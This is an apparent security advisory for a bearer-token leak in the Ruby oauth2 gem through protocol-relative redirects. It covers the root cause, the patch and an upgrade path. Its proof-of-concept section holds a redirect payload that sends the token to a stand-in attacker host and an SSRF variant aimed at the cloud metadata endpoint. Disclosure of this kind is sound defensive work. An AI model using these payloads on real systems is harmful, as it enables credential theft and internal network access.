CVE-2026-54603: oauth2 Protocol-Relative Redirect Bearer Token Leak
The Ruby oauth2 gem blindly follows redirects whose Location header starts with //, letting an attacker-controlled server steal your OAuth bearer token by hijacking the redirect destination.

The problem
OAuth2::Client#request follows 301/302/303/307 redirects by calling URI#merge on the raw Location header. Per RFC 3986 §5.2, a value starting with // is a network-path reference that replaces the base URI's authority entirely.
The recursive call reuses the original req_opts unchanged, so any Authorization: Bearer header that OAuth2::AccessToken#configure_authentication! attached for the first request travels verbatim to the attacker's host. The default token mode is :header, meaning every AccessToken#get / #post / #request call is affected with no opt-in required.
Proof of concept
A working proof-of-concept for CVE-2026-54603 in oauth2, with the exact payload below.
# Attacker controls (or influences) a redirect from the IdP:
# 1. App makes a normal resource request:
# GET /userinfo HTTP/1.1
# Host: idp.trusted.example
# Authorization: Bearer SECRET-BEARER-TOKEN
# 2. IdP (or compromised proxy) responds:
HTTP/1.1 302 Found
Location: //attacker.example/leak
Content-Length: 0
# 3. oauth2 resolves the redirect:
# URI("http://idp.trusted.example/userinfo").merge("//attacker.example/leak")
# => "http://attacker.example/leak"
#
# Then re-issues the request with req_opts intact:
GET /leak HTTP/1.1
Host: attacker.example
Authorization: Bearer SECRET-BEARER-TOKEN
# SSRF variant - hit internal metadata endpoint:
# Location: //169.254.169.254/latest/meta-data/The root cause is in lib/oauth2/client.rb: full_location = response.response.env.url.merge(location) passes the unvalidated Location string directly to URI#merge. A //host/path input is a legal RFC 3986 network-path reference, so merge drops the trusted base host and adopts the attacker's host, all while keeping the same scheme.
The patch (commit 0f0a474f) adds two defenses: it prefixes any location starting with // with ./ before calling merge (turning it into a relative path that cannot override the authority), and it compares the origin of the resolved URL against the prior request's origin, stripping Authorization and any configured header-format credential headers before following a cross-origin redirect.
CWE-601 (Open Redirect) enables the initial misdirection; CWE-200 (Exposure of Sensitive Information) describes the bearer token disclosure that results.
The fix
Upgrade the oauth2 gem to version 2.0.22 or later. The gem is available on RubyGems: gem 'oauth2', '>= 2.0.22'. As a short-term workaround before upgrading, disable automatic redirect following by setting max_redirects: 0 when constructing OAuth2::Client and handle redirects manually, or validate and reject any Location header that starts with // at the application level before it reaches the gem.
Reported by tonghuaroot.
Related research
- high · 7.2CVE-2026-54605CVE-2026-54605: oauth gem Cross-Origin Token Redirect SSRF and Signed-Request Disclosure
- high · 7.5CVE-2026-45378CVE-2026-45378: decidim-verifications Unauthenticated Access to Signed Identity Document URLs
- highCVE-2026-61666CVE-2026-61666: websocket-driver Denial of Service via Malformed Host Header
- high · 8.7CVE-2026-54498CVE-2026-54498: view_component around_render HTML-Safety Bypass XSS